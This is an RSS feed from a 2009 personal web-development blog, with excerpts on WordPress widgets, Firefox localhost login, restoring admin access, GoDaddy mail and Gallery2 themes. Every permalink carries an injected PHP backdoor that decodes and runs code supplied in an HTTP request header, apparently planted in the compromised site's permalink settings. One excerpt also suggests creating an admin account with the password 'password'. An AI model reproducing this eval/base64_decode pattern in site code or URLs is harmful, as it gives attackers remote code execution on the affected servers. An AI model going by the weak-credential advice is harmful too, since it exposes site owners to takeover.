http://candicimo.com/dev These are the developing voyages of the starship candicimo Tue, 21 Jul 2009 03:43:48 +0000 http://backend.userland.com/rss092 en FYI: Pages, Archives, Categories, Blogroll and Meta are the default widgets. If anyone else reading this post has all of them and wants to get rid of all of them or some of them but you don't see them in your sidebar on the widget page... Take a breath, they aren't hiding. ... http://candicimo.com/dev/2009/07/20/wordpress-default-widgets/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Since this issue comes up at least once a day if not more in the support forums, I've decided to create an entry about it so I can stop repeating it. If you want to keep the Meta Widget but remove some of the links to it, here is how (note ... http://candicimo.com/dev/2009/07/20/wordpress-removing-links-from-meta-widget/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ If you can view localhost with IE but it asks you for a user name and password in Firefox, try this work around: Open Firefox and type about:config in the address bar Find network.automatic-ntlm-auth.trusted-uris (just start typing it in the "filter" space) Doubleclick and type localhost Click OK - Voila! Done. http://candicimo.com/dev/2009/07/16/cant-view-localhost-with-firefox/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ If you've deleted your Wordpress admin user or somehow managed to lose your administrative privileges and you're remotely familiar with phpmyadmin this might work for you. All I did was created a generic admin user whose user number is 10000 so it wouldn't conflict with any pre-existing users. Username: backupadmin Password: password User number ... http://candicimo.com/dev/2009/07/13/deleted-wordpress-admin-user/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ The only thing I don't like about WP 2.8 is the syntax highlighter. In concept, great idea... actual implimentation, total garbage. Slows down your browser, locks it up, crashes, and adds a bunch of blank lines whenever and wherever it feels like it until your CSS file or PHP file becomes ... http://candicimo.com/dev/2009/06/29/wordpress-2-8-syntax-highlighting-is-evil/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ How to Send Email with WordPress from GoDaddy (Windows Hosting) Absolutely LOVE this.  If you want to have users register themselves & be emailed their password -- you pretty much can't do that if you host Wordpress on GoDaddy's Windows server because the php mail() function is disabled. This plugin kicks it's ass. I just made a ... http://candicimo.com/dev/2009/06/18/smtp-mail-with-godaddy-windows/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Four sort-of-easy steps to HDR photography with your cheap Canon digital camera. But first... Read: What the hell is HDR photography? Read: Hack Your Canon PowerShot to Add Superpowers Okay, now... Do: CHDK Installation for Dummies to set up your SD card Set up camera (quick how-to) Put in SD card with CHDK installation on it Set up CHDK ... http://candicimo.com/dev/2009/06/14/the-poor-mans-hdr-photography/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ More troubles with Ebony... This time, I had to get rid of the lightbox. I like it... but I'm trying to make my gallery family-friendly (e.g. for my grandparents) and I think it might stress them to have to click so many times just to get to the main image ... http://candicimo.com/dev/2009/06/12/gallery-2-ebony-axing-the-lightbox/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ If you have Gallery2 and use a GoDaddy account and are having problems with the URL Rewrite for Dynamic Albums, this might be of use to you.  I am using the Ebony 1.0 theme and wanted to be able to use the "Newest Photos" (Updates) and "Most Viewed photos" (Popular) links ... http://candicimo.com/dev/2009/06/09/gallery-2-bypass-url-rewrite-for-updatespopular/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/